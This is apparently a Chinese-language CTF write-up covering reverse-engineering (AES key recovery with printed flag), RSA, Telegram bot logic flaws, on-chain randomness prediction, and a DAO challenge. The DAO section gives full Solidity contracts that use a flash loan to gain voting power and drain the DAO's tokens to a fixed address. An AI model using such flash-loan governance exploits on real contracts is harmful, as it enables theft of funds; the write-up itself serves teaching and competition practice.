主要实现了4*4矩阵之间的每一行和每一列进行一轮循环6次的异或、右移等运算,注意到每轮6次运算后得到结果都不超过2^6 - 1,因此bit_calc()实际返回的是其本身的值,所以可以将源代码简化为如下形式:

def encrypt(buf):
    result = [0]*16
    for i in range(4):
        for j in range(4):
            tmp2 = 0
            for k in range(4):
                tmp = 0
                a1 = key[k + i * 4]
                b2 = buf[j + k * 4]
                for _ in range(6):
                    if (b2 & 1):
                        tmp ^= (a1)
                    b2 = b2 >> 1
                    a1 *= 2
                    if (a1 & 0x40):
                        a1 ^= 0x5B
                tmp2 = tmp2 ^ tmp
            result[j + i * 4] = tmp2
    return result

简化后可以看出是在GF(2^6)的矩阵乘法,AB=C,已知A、C ,用sage解出 B,脚本如下:

F.<x> = GF(2^6,modulus=[1,1,0,1,1,0,1])
mt =[
[44,4,23,13],
[2,45,57,51],
[7,22,52,24],
[29,26,11,40]
]

result = [
[1,0,0,0],
[0,1,0,0],
[0,0,1,0],
[0,0,0,1],
]

for i in range(4):
    for j in range(4):
        mt[i][j] = F.fetch_int(mt[i][j])

for i in range(4):
    for j in range(4):
        result[i][j] = F.fetch_int(result[i][j])

Ma = matrix(F, mt)
Mb = matrix(F, result)
Mi = Ma.solve_left(Mb)

for i in range(4):
    for j in range(4):
        print(Mi[i][j].integer_representation())

上面得到的结果作为key解密一段密文,根据S盒可以得知是AES算法,最终脚本如下:

buf = [0, 5, 5, 14, 21, 8, 9, 1, 10, 6, 12, 3, 6, 7, 12, 4]
key = [0] * 0x10
for i in range(0x10):
    index = 4 * (i & 3) + (i >> 2)
    key[index] =buf [i]

key = bytes(key)
text = [158,105,54,18,123,0xB0,4,77,0xB9,42,19,110,55,0xD1,0xD6,32,0xA5,43,0xB8,0xA2,0x9A,0x92,0xA2,36,0x9F,56,57,0xFF,85,102,0x6D,0xCE,57,0xEA,117,60,50,69,0xF3,103,0x84,0x8E,73,123,0xB8,0xAA,107,31,85,0xFC,0x96,30,119,0x90,61,0xB4,0xCB,105,62,0xF9,43,56,0x9E,118,109,0xB0,201,159,41,45,11,231,12,237,141,40,71,140,94,205]
text = bytes(text)
from Crypto.Cipher import AES
flag = AES.new(key, AES.MODE_ECB).decrypt(text)
print(flag)
#b'ACTF{YOU_dOn_No7_R3ALly_neED_t0_Co1LeC7_KC0v_$INcE_1T_i5_UN$7@ble}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

[CRYPTO] Impossible RSA

因为 $eq \equiv 1 \mod p$

所以有 $\exists b \in \mathbb{N} : eq = 1 + bp$

也即 $eq^2 - q - bn = 0$

因为 $p$ 和 $q$ 的量级差不多,所以 $b$ 的量级跟 $e$ 差不多,枚举 $b$,然后检测 $\Delta = 1 + 4bne$ 是否是完全平方数即可。这样就可以得到 $q$,后面就很好做了。

[MISC] safer-telegram-bot-1

读源码,发现拿到flag1只需要触发callback的登陆成功分支即可。即需要callback按钮的data区解析出来的uid和程序随机生成的user1的uid相同即可。

读login相关源码,发现其会在一段时间后修改按钮信息,将data修改为user1对应的uid。因此只需要使用userbot监控login消息的修改状态,发现修改后点击即可成功登录拿到flag1。

[MISC] safer-telegram-bot-2

读源码,想拿到flag2,整个框架看起来就想让你做原型链污染。其中一个想法是污染/iamroot中的from,因为channel中消息没有from字段。然而这个bot有一段代码判断了是否为channel或group,因此无法拉入。

再考虑这个group判定规则,只能判定supergroup而不能判定普通group。而根据提示,上网查询后可知777000的userid,可以通过创建channel和linked group,之后group内查看channel的信息的from字段的uid就是777000。因此我们创建好相关channel和group后,如果能把bot成功拉入group,即可使用上一问的方法auth 777000,之后在channel发消息即可得到flag2。

但连接channel后,group就变成了supergroup,因此还是无法拉入。不妨考虑阻止bot退出的过程。可以发现,代码中bot在退群前一定会先发送一条消息。如果我们让这条消息发送失败,是否就可以使得整个函数报错进而不会执行退群动作。因此我在相关group内设置了全群禁言,之后将bot拉入。当禁言解除后,bot没有退群,同时也能正常交互。因此可以拿到flag。

[BLOCKCHAIN] bet2loss

读源码,获胜条件是几乎每次都猜最大的且获胜。因此显然是个随机数预测题。

先考虑链上随机数预测。bet中判定了lasttime,因此一个块只能猜一次。而函数内又判断了codesize,因此一个合约只能在创建中的那个tx使用一次,无法猜多次。

提示中专门提到了出块时间的问题,因此考虑链下随机数预测。写了一个简单合约输出当前难度和时间,发现出块时间是稳定的30s,而难度固定为2。因此我们可以在链外通过直接读storage的方式读出合约的nonce值,而其余参数都是可预测的,因此可以直接得到随机数的值。之后写代码多次发交易即可。

[BLOCKCHAIN] AAADAO

看到题目和Token源码,能猜出这题的基本思路是:利用flashloan借钱,之后快速执行投票,将DAO合约内所有钱转出。

之后阅读代码细节:flashloan内直接在相关账户进行mint和burn,但也要approve。flashloan需要实现标准函数接口。投票使用的是GovernorCountingSimple进行判定,而相关实现没有考虑snapshot之类的问题,通过直接调用Token合约的getVotes。而getVotes的权重需要先通过delegate赋予。

执行提案时使用的是delegatecall,因为懒得操作calldata,所以选择提前部署一个固定的合约,将flashloan的合约地址作为code区变量存入。

contract daotest is IERC3156FlashBorrower
{
    address dtoken;
    address payable ddao;
    uint256 dpid;
    address dfun;
     constructor()
    {
        dtoken=address(0xFCcf8dE554a4817556829458a0C672A9CBC79DD9);
        ddao=payable(0xf96f8ec65DF597bAc8987Eb2caa408bF8F0e76e5);
    }
    function setfun(address fun) external
    {
        dfun=fun;
    }
    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32)
    {
        AAA(dtoken).delegate(address(this));
        uint bal1=AAA(dtoken).balanceOf(address(this));
        uint bal2=AAA(dtoken).balanceOf(ddao);
                address[] memory targets=new address[](1);
        uint256[] memory values = new uint256[](1);
        bytes[] memory calldatas=new bytes[](1);
        string memory description;
        targets[0]=address(dfun);
        values[0]=0;
        calldatas[0]=abi.encodeWithSelector(fun.toss.selector);
        description="test";
        uint256 wvv=Gov(ddao).castVote(dpid,1);

        Gov(ddao).emergencyExecuteRightNow(targets,values,calldatas,keccak256(bytes(description)));
        AAA(dtoken).approve(dtoken,amount+fee);
        return _RETURN_VALUE;
    }

    function test() external
    {
        AAA(dtoken).flashLoan((this),dtoken,500000000 * 10 ** 18,"");
    }

    function propose() external returns(uint256)
    {
                address[] memory targets=new address[](1);
        uint256[] memory values = new uint256[](1);
        bytes[] memory calldatas=new bytes[](1);
        string memory description;
        targets[0]=address(dfun);
        values[0]=0;
        calldatas[0]=abi.encodeWithSelector(fun.toss.selector);
        description="test";
        uint256 pid=Gov(ddao).propose(targets,values,calldatas,description);
        dpid=pid;
        return dpid;

    }

}

contract fun
{
    constructor()
    {}

    function toss() external returns(bool)
    {
        uint256 bal=AAA(0xFCcf8dE554a4817556829458a0C672A9CBC79DD9).balanceOf(address(this));
        AAA(0xFCcf8dE554a4817556829458a0C672A9CBC79DD9).transfer(address(0x95C136F79811cf7468063D87C64548CACCB0BD88),bal);
        return true;
    }
}

results matching ""

    No results matching ""